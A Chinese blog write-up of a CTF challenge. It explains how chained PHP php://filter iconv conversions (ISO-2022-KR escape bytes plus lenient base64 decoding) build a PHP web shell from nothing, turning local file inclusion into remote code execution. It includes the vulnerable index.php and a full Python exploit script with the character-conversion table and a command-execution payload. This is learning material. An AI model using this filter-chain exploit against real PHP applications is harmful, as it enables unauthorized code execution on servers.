今天学到了个有意思的东西 记录下 虽然一般用不上

《如何不利用可控文件来进行LFI rce》参考了hxp CTF 2021 - The End Of LFI? - 跳跳糖

前置知识

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造特定字母,从而构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。

iconv convert.iconv. 过滤器

  • convert.iconv.A.B 表示把流从编码 A 转换到编码 B。
  • 不同编码之间转换会产生不同的字节序列,某些状态式编码(如 ISO-2022 系列,见下文)会插入控制序列(如 ESC …)以切换字符集。

base64解码特点

会忽略除了base64中那64个字符的其他字符,只处理那64个字符。即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode去掉不属于 Base64 字符集的字符,留下我们想要的字符。

例如:

convert.iconv.UTF8.CSISO2022KR(某一种iconv),每次经过它的处理,字符串的首部都会产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64规则的64个字母,再进行一次base64-decode然后再base64-encode之后,就只剩下字符C了!相当于创造了一个字符((

ISO-2022-KR

  • ISO-2022 系列编码是一类“转义式多字节编码”,通过 ESC 转义序列(\x1b ...)在不同字符集之间切换。
  • ISO-2022-KR 专门用于韩文,它的特点是:
    • 默认 ASCII 模式
    • 如果遇到 \x1b$)C(ESC + $)C),就切换到韩文字符集编码模式。

也就是说,这种编码在输出时会产生特定的字节序列(比如 \x1b$)C),类似于一个“开关”,放在每轮iconv转换输出的最前面,保证后续的字节都在期待的模式下被正确地产生和解释(后面的滤镜会按照 ISO-2022-KR 方式造字节)

举个例子,数字字符8的生成:

ISO-2022-KR 使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 来生成8

不是直接写 8,而是调用这串编码转换 filter,让 PHP 自己在文件写入过程中生成 8!

$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";

$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";

$url .= "/resource=data://,aaaaaaaaaaaaaa";
//这里为什么是data,后续会说
//为什么要加一堆 a:
//1. 保证前面那编码链有数据可以操作,不会直接把 payload 吃掉。
//2. 让有效的payload而不会因为数据太短而丢失。有点像填充 NOP-sled 的感觉,作用是对齐/防丢失。

var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 35  32 29 20 22 38 01 fe 00  |string(52) "8...|
// 00000010  43 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |C...a...a...a...|
// 00000020  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
// *
// 00000040  22 0a                                             |".|

// 起用了注释那一行后,即还原到 Base64 之后的 hexdump:
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 38 43 61 61  |string(12) "8Caa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

(我在php7尝试才能成功)这告诉我们最后要加上"|convert.base64-decode|convert.base64-encode",让编码转换的产物落在一个“可控”的区间,不会因为 ISO-2022-KR 的特殊 escape 机制把字节流搞乱~

本题思路

打开网页是空白,应该直接传payload就行。题目附件index.php

<?php 
($_GET['action'] ?? 'read') === 'read'
    ? readfile($_GET['file'] ?? 'index.php')
    : include_once($_GET['file'] ?? '');
<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

我们没有可以写的文件,没有现成的可以利用的执行文件,所以我们利用include_once,传入action(action!=read)和file参数

看看常见的协议如何利用,已知data://协议是可以直接内联数据当作文件的,例如include("data://text/plain,<?php system('id');?>");,再搭配filter过滤器

结合上文,利用iconv filter 等编码组合构造“文件”,本体思路如下:

「include_once + filter过滤器 (结合iconv ISO-2022-KR 特性) 来构造特定字符 + data:// 协议内联数据」

学习网上大佬的exp,这里为了发包改成了python :

作者精心挑选了 字符映射链,保证每一步输入都是下一个编码器能接受的

import requests
import sys
sys.stdout.reconfigure(encoding='utf-8')
url = "http://node4.anna.nssctf.cn:28929"
file_to_use = "/etc/passwd"
command = "/readflag"

#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
#以下生成payload需要的每个字母
conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}

filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
#这一步convert.iconv.UTF8.UTF7单纯的防止=的干扰

#注意。因为生成过程会把新产出的字符放在输出前面,所以先反转以便最终顺序正确
for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        filters += "convert.base64-decode|"
        #解码和重新编码以排除所有无效的 base64
        filters += "convert.base64-encode|"
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action":"include",
    "file": final_payload
})

# print(filters)
#print(final_payload)
print(r.text)

会收获flag和一堆乱码

配图是那云,想念在老家天天去度假村泳池游泳的日子了。晒了一天太阳水温暖暖的,像泡温泉一样舒服,回家的路上和妈妈开着车窗听歌,吹风,一路上人都很轻盈

此作者没有提供个人介绍
最后更新于 2025-09-03